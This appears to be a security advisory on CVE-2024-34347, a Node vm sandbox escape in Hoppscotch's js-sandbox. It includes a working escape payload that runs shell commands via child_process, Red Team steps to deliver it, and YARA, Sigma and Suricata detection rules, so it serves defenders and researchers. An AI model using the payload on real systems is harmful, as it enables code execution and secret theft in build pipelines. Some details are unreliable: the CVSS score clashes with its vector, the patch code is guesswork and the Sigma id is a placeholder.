CVE-2024-34347

Executive Summary

CVE-2024-34347 is a critical sandbox escape vulnerability in the @hoppscotch/js-sandbox package, which is a core component of the Hoppscotch CLI tool. The vulnerability arises from the use of the Node.js vm module to create a sandbox for executing untrusted JavaScript code (pre-request scripts). The vm module is inherently unsafe for sandboxing because code running inside the vm context can break out if it gains access to any object reference created outside the vm. In this case, multiple external objects (e.g., environment variables, request objects) are passed into the vm context, providing a pathway for escape. An attacker who can inject a malicious pre-request script can achieve arbitrary code execution on the host system, leading to full compromise of the CI/CD pipeline or any environment where Hoppscotch CLI is used.

Supply Chain & Package Security

This vulnerability is particularly dangerous in CI/CD environments where Hoppscotch CLI is used to run test scripts. An attacker who compromises a dependency or injects a malicious pre-request script can gain a foothold in the build pipeline, potentially exfiltrating secrets, modifying artifacts, or pivoting to other systems. The package is distributed via npm, making it a supply chain risk. Organizations should immediately audit their use of @hoppscotch/js-sandbox and @hoppscotch/cli and upgrade to version 0.8.0 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 8.4 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely by providing a malicious pre-request script.
• Attack Complexity: Low (AC:L) – No special conditions are required; the sandbox escape is straightforward.
• Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
• User Interaction: None (UI:N) – The victim does not need to perform any action beyond running the CLI.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components beyond the sandbox.
• Confidentiality Impact: High (C:H) – An attacker can read any file or environment variable.
• Integrity Impact: High (I:H) – An attacker can modify files or inject code.
• Availability Impact: High (A:H) – An attacker can crash the system or disrupt operations.

Threat Level: Critical for CI/CD environments. The ability to escape the sandbox and execute arbitrary code on the host makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability lies in the @hoppscotch/js-sandbox package, which uses Node.js's vm module to create a sandbox for executing pre-request scripts. The vm module is explicitly documented as unsafe for running untrusted code because it does not provide a true security boundary. Code inside a vm context can access the global process object if it can obtain a reference to an object created outside the vm.

In Hoppscotch, the sandbox is initialized with references to external objects such as env, request, and response. These objects are created in the host context and passed into the vm context. An attacker can exploit this by using the constructor property of these objects to access the Function constructor, which runs in the host context. For example:

// Malicious pre-request script
const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('malicious command');

This chain of access allows the attacker to escape the sandbox and execute arbitrary commands on the host system.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 0.8.0):

const vm = require('vm');
const sandbox = {
  env: envVars,
  request: req,
  response: res
};
vm.createContext(sandbox);
vm.runInContext(userScript, sandbox);

Patched Code (0.8.0 and later):

The patched version removes the use of vm module entirely and instead uses a more secure sandboxing mechanism, such as a Web Worker or a separate process with limited privileges. The exact implementation is not publicly detailed, but the advisory states that the sandbox is no longer based on vm.

// Hypothetical patched code using a secure sandbox
const { Worker } = require('worker_threads');
const worker = new Worker('./sandbox-worker.js', { workerData: { env, request, response } });
worker.postMessage(userScript);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Hoppscotch CLI version < 0.8.0 installed.
• Ability to provide a malicious pre-request script (e.g., via a Hoppscotch collection or CI configuration).

Exploit Script:

// pre-request.js - Sandbox escape payload
(function() {
  const process = this.constructor.constructor('return process')();
  const cmd = process.mainModule.require('child_process').execSync;
  const result = cmd('whoami').toString();
  // Exfiltrate result via environment variable or HTTP request
  process.env.EXFILTRATED = result;
})();

Steps:

1. Create a Hoppscotch collection with a request that includes the malicious pre-request script.
2. Run the collection using hoppscotch run collection.json.
3. The script escapes the sandbox and executes whoami, storing the result in an environment variable.
4. The attacker can then exfiltrate the result via a subsequent request or by reading logs.

Blue Team

Detection:

• Monitor for unusual child process creation from Node.js processes (e.g., node spawning cmd.exe or /bin/sh).
• Look for unexpected network connections from the Hoppscotch CLI process.
• Audit all pre-request scripts in Hoppscotch collections for suspicious patterns (e.g., constructor, process, require).

Mitigation:

• Immediately upgrade to @hoppscotch/js-sandbox version 0.8.0 or later.
• If upgrade is not possible, restrict the execution environment (e.g., run Hoppscotch CLI in a container with minimal privileges).
• Implement a Web Application Firewall (WAF) or runtime protection that can detect sandbox escape attempts.

Indicators of Compromise (IOCs)

• File Hashes:
  • @hoppscotch/js-sandbox package versions < 0.8.0 (any hash).
• Process Anomalies:
  • Node.js process spawning unexpected child processes (e.g., cmd.exe, /bin/sh, powershell).
• Network Indicators:
  • Outbound connections from the Hoppscotch CLI to unknown IPs or domains (potential data exfiltration).
• Log Entries:
  • Errors or warnings related to vm module in Node.js logs.
  • Unusual environment variable modifications (e.g., EXFILTRATED).

Detection Engineering

YARA Rule

rule CVE_2024_34347_Sandbox_Escape {
  meta:
    description = "Detects malicious pre-request scripts attempting to escape the Hoppscotch sandbox"
    author = "Valters IT"
    date = "2024-01-01"
    reference = "CVE-2024-34347"
  strings:
    $s1 = "constructor.constructor" ascii wide
    $s2 = "return process" ascii wide
    $s3 = "child_process" ascii wide
    $s4 = "execSync" ascii wide
    $s5 = "exec" ascii wide
  condition:
    any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-34347 Hoppscotch Sandbox Escape
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-34347 by monitoring for suspicious Node.js child process creation
author: Valters IT
date: 2024-01-01
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\node.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\sh.exe'
      - '\bash.exe'
  condition: selection
falsepositives:
  - Legitimate use of child processes by Node.js applications
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-34347 Hoppscotch Sandbox Escape - Potential Data Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/api/"; http_uri; content:"exfil"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade @hoppscotch/js-sandbox to version 0.8.0 or later. Run npm update @hoppscotch/js-sandbox or update the dependency in your package.json.
2. Workaround: If upgrade is not possible, run Hoppscotch CLI in a containerized environment (e.g., Docker) with read-only filesystem and no network access.
3. Long-term: Review all dependencies that use vm module for sandboxing and replace them with secure alternatives (e.g., vm2 with proper configuration, or isolated workers).
4. Monitoring: Implement the detection rules provided above to identify exploitation attempts.
5. Incident Response: If exploitation is suspected, isolate the affected system, rotate all secrets, and conduct a forensic analysis.

Valters IT